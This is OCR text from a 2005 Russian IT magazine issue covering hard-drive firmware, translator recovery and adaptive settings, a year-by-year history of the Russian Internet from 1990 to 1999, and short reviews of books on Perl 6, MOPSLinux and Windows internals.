hardware-практикум Прошивка, индивидуальные настройки и адаптивы Электроника диска – это только скелет. Без управляющих микропрограмм она работать не будет! Первые модели винчестеров хранили микропрограммы в ПЗУ, что вызывало естественные неудобства и накладывало определенные ограничения. Теперь же для этой цели используется сам жесткий диск! Разработчик резервирует некоторый объем и размещает в нем весь необходимый код и данные. Информация организована в виде модулей (слабое подобие файловой системы) и управляется специализированной операционной системой. В ПЗУ остается лишь базовый код, своеобразный «фундамент» винчестера. Некоторые производители идут еще дальше, убирая из ПЗУ все, кроме первичного загрузчика. Само ПЗУ может быть расположено как внутри микроконтроллера, так и на отдельной микросхеме. Практически все винчестеры имеют FLASH-ROM, но не на всех моделях она распаяна. Если FLASH-ROM установлена, то микроконтроллер считывает прошивку из нее, если нет – обращается к своему внутреннему ПЗУ. Часть модулей (и информации, находящейся в ПЗУ) одинакова для всей серии винчестеров. К ней в первую очередь относится совокупность управляющих микропрограмм. Эти модули полностью взаимозаменяемы, и один диск свободно может работать с модулем другого без какихлибо последствий. Часть модулей (реже – информации из ПЗУ) готовится отдельно для каждой
партии. Так, например, паспорт диска, описывающий его конфигурацию, указывает количество головок, физических секторов и цилиндров. В процессе инициализации микропроцессор опрашивает коммутатор и перечисляет головки. Если их количество не совпадает с указанным в паспорте, винчестер может «забастовать» и не войти в готовность. Зачастую производители отключают некоторые головки из-за дефектов поверхности, неисправностей самих головок или по маркетинговым соображениям. Как следствие – образуются внешне очень похожие модели-близнецы, но непосредственная перестановка плат невозможна, и паспорт приходится корректировать, для чего опять-таки понадобится PC-3000. Но в принципе подобрать донора с идентичным паспортом вполне возможно и без коррекции. Все зло и коварство происходит от модулей (и часто информации, зашитой в ПЗУ), уникальных для каждого экземпляра винчестера и настраиваемых строго индивидуально. В частности, каждый жесткий диск имеет как минимум два списка дефектов – P-list (от Primary – первичный) и G-list (от Grown – растущий). В P-list заносятся номера дефективных секторов, обнаруженные еще на стадии заводского тестирования, а G-list формируется самим жестким диском в процессе его эксплуатации. Если запись в сектор происходит с ошибкой, сбойный сектор переназначается другим сектором, взятым из резервной области. Некоторые жесткие диски поддерживают список «подозрительных секторов»: если сектор начинает читаться не с первого раза, он замещается, а инфор-
мация о замещении сохраняется либо в отдельном списке, либо в G-list. Все эти процессы протекают скрыто от пользователя. Специальный модуль, называемый транслятором, переводит физические адреса в номера логических блоков или виртуальные цилиндры-головки-сектора, и внешне нумерация секторов не нарушается. Все работает нормально до тех пор, пока P/G-list не оказываются разрушенными или на гермоблок устанавливается плата с чужими настройками. Если P/ G-list хранятся во FLASH-ROM (а часто так и бывает), файловая система оказывается полностью неработоспособной, ведь трансляция адресов нарушена! И хотя на сектором уровне все читается нормально, совершенно непонятно, какой сектор какому файлу принадлежит. К счастью, восстановить транслятор довольно просто, поскольку практически все файловые структуры (да и сами файлы) имеют характерные последовательности байт (сигнатуры). Для начала нужно очистить таблицы транслятора (сгенерировать пустые P/G-list), в противном случае сектора, помеченные у донора как замещенные, не смогут прочитаться на акцепторе. Различные винчестеры имеют различное число замещенных секторов. В некоторых винчестерах замещенных секторов может не быть вообще, на некоторых их количество может доходить до нескольких тысяч. Формат P/G-list варьируется от одной модели к другой, и для работы с ним лучше всего применять PC-3000. В крайнем случае – утилиты от производителей винчестера или ATA-команду unassign.
данной модели и условия эксплуатации. SCSI-диски надежнее IDE только потому, что они устанавливаются на серверах и работают, практически никогда не выключаясь (а большинство неисправностей как раз и происходит в момент включения/выключения), им неведомо что такое перегрев или «винт в сумке». На сайте фирмы Derstein, занимающейся восстановлением данных, приводится любопытная статистика зафиксированных отказов (http://www. derstein.ru/cgi-bin/stat.cgi?do=show), которую я в сокращенном виде привожу ниже. Одна таблица – по производителям, другая – по моделям (см. таблицы 1,2). Как видно, самым лучшим произво-
дителем оказался Samsung (хотя лично у меня против него стойкое предубеждение и вовсе не факт, что малое количество отказов не вызвано низкой популярностью таких дисков). Тем не менее у всех производителей встречаются неудачные модели, к тому же, как уже говорилось, источник отказов зачастую располагается вне диска. Поэтому вопрос о надежности правильнее ставить так: «Какой диск имеет наибольшие шансы на успешное восстановление?». За этим я обратился к ведущему инженеру фирмы ACE Lab Сергею Яценко, через руки которого прошли тысячи дисков. «Ответ на вопрос «какие же диски лучше» в ключе, какие из них про-
ще восстанавливать: более удачны в восстановлении (проще подобрать блок головок в случае проблем с ним, практически нет самоповреждения записи, сравнительно низкое количество экстремально сложных узлов): Seagate, Samsung, HitachiIBM(HGST), Fujitsu(2.5"), ну и, может быть, Toshiba(2.5"), хотя у последней есть очень неприятная проблема с протеканием подшипника шпиндельного двигателя из-за того, что крышка его не приварена, как у других, а приклеена... Хотя у Maxtor она тоже приклеена, но из-за значительно большей толщины и габаритов проблемы с ней не возникают. Название компаний я упорядочил по мере увеличения проблематичности их дисков...
86
hardware-практикум Затем необходимо просканировать весь диск на предмет поиска характерных сигнатур и загнать их «физические» адреса в список. Разумеется, никакой физикой в подлинном смысле этого слова здесь и не пахнет! Скажем так: логические адреса без переназначенных секторов, но это слишком долго писать. Теперь, исследуя служебные структуры файловой системы (каталоги, MFT), мы определяем номера кластеров подчиненных структур. Переводим кластеры в сектора и создаем еще один список. В результате у нас получается два списка, между которыми прослеживается четкая корреляция. Первый список как бы «растягивается» вдоль второго. Другими словами, каждый переназначенный сектор увеличивает расхождение между последующими «физическими» и логическими адресами на единицу. Проделав необходимые математические вычисления, мы сможем рассчитать необходимую поправку и как бы восстановить транслятор. «Как бы», потому что целевые адреса замещенных секторов остаются неизвестными, а, значит, в восстанавливаемых данных образуются «дыры», однако большая часть информации все же возвращается из небытия. PC-3000 автоматически восстанавливает транслятор, используя довольно продвинутые алгоритмы, которые постоянно совершенствуются. Тем не менее, при большом желании утилиту для восстановления транслятора можно написать и самостоятельно. А вот чего ни PC-3000, ни другие комплексы не умеют, так это восстанавливать адаптивы. Нашествие адаптивов началось
сравнительно недавно. До этого индивидуальные настройки диска сводились к высокоуровневым наслоениям, никак не препятствующим чтению информации на физическом уровне. Перестановка плат могла привести к невозможности работы с диском средствами операционной системы, но данные всегда было можно прочитать посекторно стандартными ATA-командами или на худой конец на уровне физических адресов в технологическом режиме. Но плотность информации неуклонно росла и нормативы допусков ужесточались, а, значит, усложнялся и удорожался технологический цикл. В промышленных условиях невозможно изготовить два абсолютно одинаковых жестких диска. В характеристиках аналоговых элементов (катушек, резисторов, конденсаторов) неизбежно возникает разброс, следствием которого становится рассогласование коммутатора-предусилителя. Но с этим еще както можно бороться. Сложнее справиться с неоднородностью магнитного покрытия, влекущего непостоянность параметров сигнала головки, в зависимости от угла поворота позиционера. Таким образом, производитель должен либо уменьшить плотность информации до той степени, при которой рассогласованиями можно пренебречь (но в этом случае для достижения той же емкости придется устанавливать в диск больше пластин, что удорожает конструкцию и вызывает свои проблемы), либо улучшить качество производства (но это настолько нереально, что при современном уровне развития науки, экономики и техники даже не обсуждается), либо ка-
либровать каждый жесткий диск индивидуально, записывая на него так называемые адаптивные настройки. Вот по этому пути производители и пошли. Состав и формат адаптивом меняется от модели к модели. В грубом приближении сюда входят: ток записи, усиление канала, профиль эквалайзера, напряжение смещения для каждой головки, таблица коррекции параметров каждой головки для каждой зоны и т. д. и т. п. Без своих родных адаптивов жесткий диск просто не будет работать! Даже если случится чудо и чужие адаптивы все-таки подойдут (а чудес, как известно, не бывает), информация будет считываться очень медленно и с большим количеством ошибок. Подобрать адаптивы нереально, рассчитать их в «домашних» условиях тоже. Но ведь как-то же эти адаптивы возникают? Чисто теоретически, для заполнения таблицы адаптивов не нужно ничего, кроме самого винчестера, и некоторые модели жестких дисков даже содержат в прошивке специальную программу SelfScan, как раз и предназначенную для этих целей. Да, она действительно рассчитывает адаптивы с «нуля», но… при этом уничтожает всю содержащуюся на жестком диске информацию, что делает ее непригодной для наших целей. Адаптивы могут храниться как на самом диске в служебной зоне (и тогда смена плат проходит на ура, но не работает Hot Swap), либо в микросхеме FLASH-ROM, которую перед заменой плат следует перепаять. Диски без адаптивов встречаются все реже и реже, можно сказать, что практически вообще не встречаются.
Далее идут диски, которые доставляют массу неприятностей при восстановлении, хотя, может, и отказывают незначительно чаще представителей первого списка (этот список также упорядочен по нарастанию глючности): ! Maxtor (очень «порадовали» глючной записью и нестабильностью головок); ! WDC (крайне сложно подобрать исправные головки и восстановить функциональность служебной зоны в некоторых случаях, плюс у них статический транслятор, что приводит к невозможности прочитать данные пользователя в случае разрушения модулей транслятора и таблицы дефектов в служебной зоне); ! Quantum (хотя компании уже нет, но
диски продолжают дохнуть и при этом практически невосстановимы). Самый действенный способ восстановления, но не самый продуктивный – это заморозка. В некоторых случаях отмороженный при -10 С° диск в течение где-то получаса начинает отдавать данные... Но этот трюк проходит нечасто. Замена головок у них крайне затруднена и в случае трех и более голового диска практически нереальна (вернее, реальна, но при впечатляющих трудозатратах).
Естественно, объективную оценку дать сложно, но ситуация, по тому, что мы наблюдаем, обстоит так».
№9, сентябрь 2005
Если у кого-то стоят Quantum AS, советую скорее от них избавиться. Maxtor и WDC со своими трудностями справляются с явной неохотой...
Заключение Мы рассматривали исключительно общие вопросы ремонта жестких дисков, и в пошаговую методику диагностики не вдавались. Это обширная тема, требующая для каждой модели своего подхода и к тому же уже описанная в документации на PC-3000, фрагменты которой доступны и незарегистрированным пользователям: http:// www.acelab.ru/products/pc/traning.html. Так что не будем повторяться. Главное – что ремонт жестких дисков в домашних условиях все-таки возможен!
87
ретроспектива
С ЧЕГО НАЧИНАЛСЯ РОССИЙСКИЙ ИНТЕРНЕТ
АЛЕКСЕЙ КОРШУНОВ История – это нечто далёкое, что изучается современниками по книжкам в пыльных аудиториях учебных заведений. Тем необычнее история становления «нашего» сегмента «сети всех сетей» – она развивалась на наших с вами глазах. Кто не помнит сначала поминутных осторожных первых шажков в «большую сеть», а потом и многочасовых зависаний на более выгодных ночных тарифах... За период с 1990 г. по 1999 г. произошло становление не самого малого сегмента всемирной сети Интернет.
1990
Историю русского Интернета можно смело начинать с 1990 года, когда в январе при финансировании американской «Ассоциацией за прогрессивные коммуникации» из Сан-Франциско была создана общественная организация «Гласнет». Название «Гласнет» тоже придумали американцы, объединив слова Glasnost и Network. Эта общественная организация была призвана обеспечить связью учителей, правозащитников, экологов и других гарантов открытого общества. В 1993 году «Гласнет» стала коммерческим провайдером.Позднее, 1 июля 1999 года, слилась с «Совам Телепорт». А 2 сентября того же года «Совам Телепорт» и «Телефонная связь Москвы» влились в ООО «ТелеРосс». На этом знаковые события 1990 года не закончились. В августе была основана компьютерная сеть «Релком» (название образовано от RELiable COMmunications – надёжная связь). В работах по созданию сети принимали участие специалисты кооператива «Демос» (впоследствии ООО «Компания «Демос»), большинство из них
88
являлись сотрудниками Курчатовского института. Уже к концу года к сети были подключены около 30 организаций, среди которых центры российской науки в Серпухове, Санкт-Петербурге, Новосибирске, Дубне. Сеть базировалась исключительно на технологии электронной почты UUCP, причем с возможностью переписки и на русском языке.
1991
В феврале 1991 года состоялся первый сеанс связи между Москвой и Барнаулом посредством модемной связи на скорости 9600 бод с использованием базового протокола TCP/IP. А 1 мая количество внутрироссийского сетевого трафика превысило обмен между нами и Западом. Сеть стала действительно российской. В этом же году было освоено использование телеконференций, которые через первый почтовый сервер обеспечивали по подписке доставку сообщений до пользователей. А Институт коммерческой инженерии начал проект «ИнфоРынок», ставивший своей задачей информационную
поддержку российского рынка ценных бумаг новейшими интернет-технологиями.
1992
В июле 1992 года сеть «Релком» была официально зарегистрирована в панъевропейской сети EUnet под названием «EUnet/Relcom» и стала крупнейшей на Европейском континенте. А в середине года «Релком» начал экспериментальное внедрение on-line IP-протокола, обеспечивающего подключение в режиме реального времени и расширяющего список доступных для использования сервисов помимо электронной почты. При активном участии «Релкома» и использовании возможности сети EUnet/Relcom началась реализация проекта создания научной некоммерческой сети RELARN, головной организацией которой является «РосНИИРОС». В этом же году был введен в действие новый канал на Запад через Амстердам, что примерно в четыре раза увеличило соответствующую пропускную способность.
ретроспектива
1993
С 1993 года ведет свою историю компания «Демос Он-Лайн», которая с середины следующего года получила первых пользователей, а впоследствии стала одним из крупнейших провайдеров России.
1994
В 1994 году был зарегистрирован домен RU, что можно считать официальным началом русскоязычного Интернета. В рамках государственной программы «Университеты России» начинается создание опорной инфраструктуры, объединяющей университетские сети в различных регионах России, – будущей сети RUNNet (Russian Universities Network). Первая очередь охватывала шесть российских регионов и была реализована уже в начале 1995 года. Связь осуществлялась на базе систем спутниковой связи с двумя управляющими центрами в Москве и Санкт-Петербурге. К 1996 году сеть работала в пятнадцати регионах.
1995
По инициативе МГУ, поддержанной «Релкомом», «Демосом» и другими крупными интернет-провайдерами, создан первый в России узел обмена IP-трафиком на Московской междугородной телефонной станции М-9 (М9-IX – один из самых крупных подобных узлов в Европе). Это позволило ряду российских интернет-провайдеров напрямую обмениваться сетевым трафиком с использованием общего оборудования для уменьшения транзитного трафика. Первая русскоязычная доска объявлений была открыта в 1995 году. Она обеспечивала связь для пользователей первой русскоязычной игры «Буриме». В этом же году «Учительская газета» закрепила за собой право первой выпустить электронную версию своего издания. С мая 1995 года ведёт свою
№9, сентябрь 2005
историю агентство «РосБизнесКонсалтинг», запустившее собственный сервер в Интернете и ставшее впоследствии одним из самых популярных и уважаемых среди деловых русскоязычных пользователей сети Интернет. Проект Комкон, предоставивший возможность бесплатного размещения в сети для различных русскоязычных некоммерческих проектов, первым из которых стала электронная библиотека, был запущен в мае 1995 года и существует по сей день. В сентябре того же года «Демос» открывает каталог ресурсов Russia on the Net, а компания «Россия-он-лайн» становится первым массовым коммерческим провайдером и открывает собственный информационный сайт. 8 ноября 1995 года основан популярнейший ресурс www.anekdot. ru Дмитрия Вернера. При поддержке провайдера Cityline он был перенесён в Россию и долгое время удерживал лидирующие позиции в рейтинге rambler top100. Именно этот ресурс в феврале 1998 года впервые в истории возглавил одну из категорий всемирного рейтинга World Top 1000. В конце 1995 года по инициативе Федерального агентства правительственной связи и информации (ФАПСИ) началась работа по созданию и реализации проекта «Деловая сеть России». Проект предусматривал построение сети для коммерческого применения с учетом ее специфики, включая решение проблемы обеспечения сохранности информации. Участники проекта – ФАПСИ, «Ростелеком», «Релком», «Роспак» и ряд других организаций. Тогда же Совет по международным исследованиям и научным обменам США (IREX) начал реализацию программы «Расширение доступа к Интернету», которая обеспечивала бесплатный доступ к электронной почте, Интернету и обучение выпускникам по программам, финансируемым правительством США, высшим учебным заведениям, библиотекам и некоммерческим организациям на территории СНГ.
1996
1996 год, помимо создания многочисленных первых ресурсов, которые по-
ложили начало целой плеяде подобных ресурсов в будущем, ознаменовался началом осуществления Межведомственной программы «Создание национальной сети компьютерных телекоммуникаций для науки и высшей школы». Позднее она получила название RBNet и занималась координированием деятельности четырех ведущих ведомств в сфере науки и образования: Министерства науки и технологии, Минобразования, РАН и РФФИ, а также Госкомсвязи РФ. В то же время в марте 1996 года Институт «Открытое общество» (фонд Сороса) приступил к реализации программы «Университетские центры Интернет», рассчитанной на пять лет – до 2001 года. Программа осуществляется совместно с Правительством Российской Федерации. Приобретение оборудования и финансовая поддержка университетских центров Интернета в объеме 100 миллионов долларов осуществляются фондом Сороса. Правительство России финансирует в объеме 30 миллионов долларов спутниковые или наземные каналы для подключения к российским и международным сетям телекоммуникаций с пропускной способностью 256 килобит в секунду. Из наиболее значимых ресурсов, созданных в этом году, можно отметить поисковую систему rambler.ru. Это проект компании «Стек» впоследствии благодаря выдающимся показателям по проиндексированным документам и сервера быстро обойдет другие популярные поисковые сервера и некоторое время будет находиться в лидерах. В Интернет входят радиостанции. Радио-101 первым открывает свой информационный сайт и приступает, помимо УКВ-диапазона, к трансляции своих программ через Интернет. Радио «Серебряный дождь» идёт ещё дальше и первым в Европе начинает круглосуточное непрерывное вещание через Интернет в режиме реального времени. Вообще 1996 год был крайне богат на события, особенно касающиеся открытия в будущем наиболее популярных ресурсов. Среди них чат «кроватки», первый номер «zhurnal.ru», «чёртовы кулички» и прочие не менее интересные ресурсы. Также в этом году на российский рынок вышли такие игроки, как провайдер Cityline, который благодаря массированной рек-
89
ретроспектива ламной кампании в 1997 году известен уже всем русскоязычным пользователям Интернета.
1997
В 1997 году компания Mirabilis выпустила первую версию программы ICQ, которая в дальнейшем стала популярнейшим инструментом общения в реальном времени, вытеснив на обочину истории технологию IRC. Менее чем через полтора года количество русских пользователей ICQ оценивалось в 65-130 тыс. человек. 4 февраля на сервере Cityline открылась служба TrubAddUrl – система автоматизированной подачи информации об интернет-ресурсах (включая их URL и описание) одновременно в десять поисковых машин и каталогов русской Сети, а также в «культовую российскую «искалку» AltaVista». В октябре того же года служба была доработана и переименована в «Систему TAU». 16 марта того же года состоялся Первый Российский Интернет Форум, организованный РОЦИТ и Издательским домом «Открытые системы». Главная тема дискуссий «Использование Интернет в корпоративных сетях». В работе форума приняли участие около трехсот человек, представлявших почти 200 российских и западных компаний. Рейтинговая система Rambler’s Top 100 стартовала 24 марта 1997 года. Она позволила всем желающим установить на заглавную страницу своего сайта счетчик посещений и принять участие в рейтинге популярности сайтов российского Интернета в различных категориях. 15 июля издательство «Инфоарт» объявило о создании первых официально зарегистрированных русскоязычных push-каналов персональной доставки заказной информации по сети Интернет. 13 августа может считаться днём начала борьбы с баннерами, так как вступила в действие баннерная сеть Reklama.ru. 10 января следующего года под названием Reklama.ru 2.0 появилась ее усовершенствованная версия. Благодаря более совершенной технологии (RotaBanner), использованию
90
«зеркал» и возможности контролировать целевую аудиторию, Reklama.ru в короткий срок вытеснила с рынка своего предшественника – рекламную сеть «Спутник». 15 сентября открылась бесплатная почтовая служба Pochta.ru. Из-за несовершенства программного обеспечения она так и не смогла нормально заработать и вскоре была закрыта. 23 сентября произошло одно из самых знаменательных событий 1997 года – официальное открытие поисковой системы Яndex.ru, позволяющая производить поиск в русской Сети с полным учетом морфологии русского языка. Новая поисковая система быстро совершенствуется: вскоре появляется возможность формулировать поисковые запросы на «естественном» (разговорном) языке, ранжировать результаты поиска, искать «похожие документы» и т. д. 1997 год стал отправной точкой в развитии российского Интернета, так как именно в этом году было положено начало открытию множества популярных (и не очень) русскоязычных ресурсов. На всё их описание не хватило бы и целого журнала.
1998
24 февраля 1998 года осужден Владимир Левин. Арестованный в марте 1995 года за компьютерное ограбление «Ситибанка» российский хакер был приговорен судом Нью-Йорка за хищение 3,7 млн. долларов к трем годам тюрьмы и денежному штрафу в размере 240 015 долларов. 28 апреля. Радио 101 становится первой русской радиостанцией, количество потенциальных слушателей которой в Сети практически не ограничено (возможно 60000 одновременных соединений). А уже 7 мая начинает работу RadioNet – первая в России радиопрограмма, выходящая только в Интернете. Ведущий – Алексей Андреев. К марту 2000-го вышло 20 передач, включая 5 передач из цикла «Голоса русского Интернета» (интервью с известными сетевыми деятелями). 28 июня на сайте «Московского либертариума» открылся раздел «Регулирование и экономика СОРМ для се-
тей документальной электросвязи», посвященный обсуждению СОРМ-2 – «системы оперативно-розыскных мероприятий». Она позволяла «эффективно обходить сотрудникам ФСБ требования Конституции и действующего законодательства в части обязательности судебного решения для ограничения тайны переписки, телефонных переговоров, телеграфных и иных сообщений применительно к компьютерным сетям, в частности Интернет». Публикация новостей, исследований, комментариев, а также проведение различных акций, направленных против СОРМ-2, привело к тому, что информация о проекте СОРМ-2, позволяющем осуществлять тотальную слежку за гражданами, стала достоянием широкой общественности. Согласно исследованию, проведенному в июле московским офисом International Data Corporation (IDC), количество пользователей российского Интернета достигло 1,2 млн. (в 1996-м их было всего 384 тыс.). 17 августа разразившийся финансовый кризис спровоцировал ажиотажный спрос на финансово-политическую информацию. Лидером по ее предоставлению стал сервер РИА «РосБизнесКонсалтинг». В связи с резко возросшей посещаемостью сервера РБК 17 августа агентство расширило канал в Интернете с 512 Кбит/c до 1,1 Мбит/с. Однако и этого оказалось недостаточно. Уже 26 августа канал был расширен до 2,2 Мбит/с, а 21 сентября – до 3,2 Мбит/с. (Следующий всплеск посещаемости РБК произошел в марте 1999-го в связи с повышенным интересом к событиям в Югославии – канал снова был расширен, на этот раз до 5,5 Мбит/с.) 5 ноября РИА «РосБизнесКонсалтинг» удостоено наивысшей награды конкурса «Бизнес-Сайт’98» – ГРАНПРИ. А 1 октября РБК установил своеобразный рекорд посещаемости в российском Интернете – количество заходов на сервер превысило 3 млн. 1 ноября открылась бесплатная почтовая служба Mail.ru. В отличие от предшествующих попыток создания такого сервиса в российской сети (Extranet и Pochta.ru) проект оказался очень удачным. Позднее 20% акций компании Port.ru, создавшей этот сервис, было продано иностранным инвесторам за 940 тыс. долларов, в резуль-
ретроспектива тате чего капитализация компании, все имущество которой – несколько компьютеров и интеллектуальная собственность, составила 4,7 млн. долларов. Это можно считать первой крупной сделкой в российском Интернете. 5 марта 1999 года количество зарегистрированных пользователей Mail. ru составило 100 тыс., 27 сентября – 500 тыс., а 29 февраля 2000 года достигло миллиона. Согласно отчету РОЦИТ за 1998 год, количество российских пользователей Интернета составило на конец года около 1,5 млн. Качественный состав пользователей: более 85% – мужчины, около 55% имеют высшее образование; около 80% русскоязычных пользователей живут в России, почти половина из них – в Москве. В стране действует более 300 интернет-провайдеров; создано свыше 26 тыс. информационных ресурсов; общий объем информации на русском языке в российской Сети – не менее 0,5 терабайта.
1999
22 января 1999 года Яndex приступил к еженедельному мониторингу интересов пользователей русской Сети, введя НИНИ-индекс (расшифровывается как «Непостоянство интересов населения Интернета») – коэффициент изменения интересов пользователей Интернета. Индекс, публикуемый по понедельникам, отражает рост и падение числа запросов пользователей по определенным ключевым словам, популярность которых пережила наиболее заметные сдвиги за последнюю неделю. 5 марта знаменательно использованием Сети как средства дезинформации. Поздно вечером в «Дискуссии «Полит.ру» появилось сообщение о самоубийстве губернатора Санкт-Петербурга Владимира Яковлева. Через несколько часов сообщение повторили Gazeta.ru и Forum.msk.ru. Вскоре выяснилось, что это дезинформация; последовало опровержение. Тем не менее пресса откликнулась статьями (12 марта в «Новых Известиях» и 19 марта в «Комсомольской правде»), где высказывалось представление об Интернете в целом как среде анонимных политических провокаций.
№9, сентябрь 2005
14 мая – открытие RB2, рекламной сети, созданной Студией Артемия Лебедева, с форматом баннеров 100x100 пикселей. Меньше чем за месяц сеть RB2 выходит на миллион показов баннеров в сутки. Попутно начинаются разработки «баннерорезок», впоследствии так и не ставших чрезмерно популярными. 21 июля разгорается скандал, связанный с публикацией в Сети романа Владимира Сорокина «Голубое сало». Обсуждение частного вопроса – публикация романа без разрешения автора – перерастает в глобальную дискуссию по проблеме авторских прав в Интернете. Автор романа и издательство Ad Marginem, которому принадлежит эксклюзивное право на публикацию романа, подают в суд на Андрея Чернова и требуют «обязать ответчика устранить с его сайта любые возможности по доступу к тексту романа «Голубое сало», в том числе ссылки на любые адреса в Интернете, с которых возможна загрузка данного произведения». 18 января 2000-го дело разрешается победой Чернова – суд отклоняет иск. Открыта круглосуточная новостная интернет-служба Lenta.ru – новый результат сотрудничества Фонда эффективной политики с командой, создавшей в декабре 1998 года проект Gazeta.ru. Главный редактор издания – Антон Носик. За короткие сроки Lenta.ru стала крупнейшим информационным ресурсом в российском Интернете. В марте 2000 года Lenta.ru была куплена инвестиционным консорциумом «Русские фонды – Orion Capital Advisors» (Internet Holding Company), ранее приобретшим контрольный пакет интернет-портала Rambler. 24 ноября компания «ТелеРосс», входящая в холдинг «Голден Телеком», который в свою очередь находится под контролем (приблизительно на 57%) американской корпорации GTS, объявила о приобретении петербургских фирм «Невалинк» и «НеваТелеком». До того в состав «ТелеРосса» вошли компании «Совам Телепорт» и «Гласнет». 29 ноября открылся сервер SpyLOG – системы по сбору и анализу интернетстатистики. В течение следующего года SpyLOG станет самым популярным и авторитетным статистическим сервисом в российском Интернете.
6 декабря открылось первое в российском Интернете медиа-байинговое агентство (агентство, специализирующееся на покупке рекламного места в различных средствах массовой информации, в том числе на телевидении и в печатной прессе) – Internet Media House Russia (IMHR). Учредители: Stonton Research, Фонд социальной и некоммерческой рекламы (ФСНР), Студия Артемия Лебедева, Юлия Соловьева, Антон Носик. Председатель совета директоров – Арсен Ревазов. Генеральный директор – Юлия Соловьева. Одной из первых акций агентства стало проведение рекламной компании Интернет-ресурсов на НТВ (совместно с московским представительством Intel) с 17 февраля по 2 апреля 2000 года. 10 декабря выигран первый судебный иск по делу о плагиате из Интернета. На состоявшемся 10 декабря заседании арбитражный суд в Москве признал издательство «Познавательная книга плюс» виновным в плагиате и обязал его к уплате компенсации в 54 000 рублей в пользу пострадавшей стороны – компании Promo.Ru и ее директора Тимофея Бокарева. Десятилетие 90-ых можно смело отнести к наиболее важным для российского сегмента сети. Именно в эти годы был заложен фундамент первых ресурсов, как виртуальных, так и физических, которые впоследствии позволили вырасти русскому сегменту до весьма внушительных размеров. Выражаем признательность Евгению Горному за предоставленные материалы. Источник – http://www.zhurnal.ru/ staff/gorny/texts/ru_let/index.html.
От редакции Материалом об истории российского Интернета мы открываем новую рубрику – «Ретроспектива». В ней мы планируем рассказывать вам об исторических событиях, имевших ключевое значение в развитии всей IT-индустрии, о технологиях, не нашедших своего применения по различным причинам, бесславно (а иногда и намеренно) забытых. Если вам есть о чем рассказать – присылайте материалы на адрес shaman@akeeper.ru, самые интересные из них мы с радостью опубликуем. Свои отзывы и пожелания вы можете оставлять на нашем форуме. Редактор рубрики Кирилл Тихонов
91
книжная полка
Pelr 6 и Parrot Эллисон Рэндал, Дэн Сугальски, Леопольд Тёч
В основе книги лежит описание новых средств шестой версии Perl. Авторы (которой, надо заметить, являются членами основной группы разработки языка), подробно рассказывают, какие нововведения сделают Perl 6 еще более удобным и практичным языком, способным решать самые разнообразные задачи. Несмотря на то что издание позиционируется как справочник, его можно использовать и как основной источник для изучения Perl 6.
Круг рассмотренных тем весьма широк. В начале книги подробно описано «рождение» 6 версии. Очень любопытен материал, в котором авторы делятся своими взглядами на лингвистический, познавательный и архитектурный стиль разработки. Новички получат необходимые сведения для начала изучения в главе «Базовый синтаксис». Использование подпрограмм (которые, по сути, являются повторно используемыми секциями кода) освещено в достаточной степени: рассмотрены параметры, аргументы, пустые подпрограммы, область действия подпрограмм и многое другое. Не остались без внимания и объекты (использование объектов, классы, роли, делегирование). Про Parrot представлена фактически исчерпывающая информация: внутренняя структура (интерпретатор, ввод-вывод, объекты, расширение возможностей), язык ассемблера parrot (основы языка, стеки и фреймы регистров, лексические и глобальные пере-
менные, исключения и обработчик исключений, управление потоками, события, загрузка байт-кода, классы и объекты, написание тестов). Раздел, посвященный промежуточному представлению Parrot (PIR), содержит следующие материалы: операторы, переменные и константы, метки, управление потоком. Завершает книгу справочник по Parrot (в котором описаны коды операций pasm, директивы и команды PIR). Несмотря на то что в данный момент нет окончательной спецификации языка Perl 6, большое количество людей начинает на нем писать. Отличная книга для Perl-программистов и желающих быть «впереди планеты всей».
! ! ! ! !
Издательство: «КУДИЦ-ОБРАЗ» Год издания: 2005 Количество страниц: 320 ISBN: 5-9579-0086-9 Цена: ≈ 206 руб. Книга предоставлена издательством «КУДИЦ-ОБРАЗ».
Slackware/MOPSLinux для пользователя Дмитрий Крюков, Виктор Лобко, Олег Семыкин
Популярность дистрибутива MOPSLinux среди русскоязычных пользователей стремительно растет, и эта книга появилась очень кстати. MOPS занял очень удачную и перспективную нишу среди дистрибутивов. Для многих пользователей, которые решили начать знакомство с миром Linux именно с дистрибутива MOPS, данное издание станет просто незаменимым
92
спутником. Иллюстрированное руководство по установке системы поможет читателю установить ОС и понять общие концепции этого дистрибутива. После установки читателя ждет настройка системы, которая также освещена подробно, рассмотрено фактически все – настройка и тестирование сети, уровни запуска и остановки системы, ядра, система x-windows, выбор различных desctop и window-менеджеров, процесс загрузки системы и различные boot-менеджеры. Даже если вы до текущего момента не сталкивались с Linux, после прочтения главы «Использование системы» приобретенные в процессе изучения материала навыки позволят общаться с системой уже на «ты» (конечно, с точки зрения пользователей, но ведь для них и написана эта книга). Рассмотрено фактически все, что вам может пригодиться на первых порах: объяснение прав до-
ступа к файлам, описано большинство самых используемых команд. Подробное описание работы с сетью из консоли (ftp, почта, работа с web). Основной редактор «всех времен и народов» vi, утилиты по работе с пакетами. Администрирование системы рассмотрено также подробно, в небольшом по объему тексте очень удачно изложены все основные принципы (файловые системы, резервное копирование, управление памятью). Завершает книгу глава, в которой рассказывается про работу в KDE. В приложении к книге вы найдете CD с MOPSLinux.
! ! ! ! !
Издательство: Год издания: Количество страниц: ISBN:
«БХВ-Петербург» 2005 272 5-94157-776-1 ≈ 195 руб.
Цена: Книга предоставлена компанией Линуксцентр.
книжная полка
Внутреннее устройство Microsoft Windows: Windows Server 2003, Windows XP, Windows 2000 Марк Руссинович, Дэвид Соломон
Это издание – лучшее из того, что опубликовано о внутреннем устройстве Windows. Размах и качество материала поистине поражает воображение. Судите сами. Концепции и инструменты: изучение внутреннего устройства Windows. Архитектура системы: обзор архитектуры (переносимость, SMP, масштабируемость), ключевые компоненты системы (ntdll.dll , исполни-
тельная система, ядро, драйверы устройств), системные механизмы: диспетчеризация ловушек, диспетчер объектов, синхронизация, трассировка событий ядр, wow64. Механизмы управления: реестр, сервисы, WMI. Запуск и завершение работы системы. Процессы, потоки и задания: внутреннее устройство процессора, что делает функция CreateProcess, наблюдение за активностью и планирование потоков. Управление памятью: введение в диспетчер памяти, его сервисы, системные пулы памяти, структура виртуального адресного пространства. Защита: классы безопасности, права и привилегии учетных записей, аудит безопасности. Подсистема ввода-вывода: драйверы устройств, обработка ввода-вывода, диспетчер PnP, диспетчер электропитания. Управление внешней памятью:
драйверы дисков, управление томами. Диспетчер кеша: размеры и структуры данных кеша, интерфейсы файловых систем. Поддержка сетей: сетевые API, драйверы протоколов. Книга рекомендуется всем без исключения администраторам и системным программистам, занимающимся Windows. Материал предполагает достаточный уровень знания у читателей. Несмотря на сложность описываемых тем, книга написана простым и доступным языком.
!
Издательство:
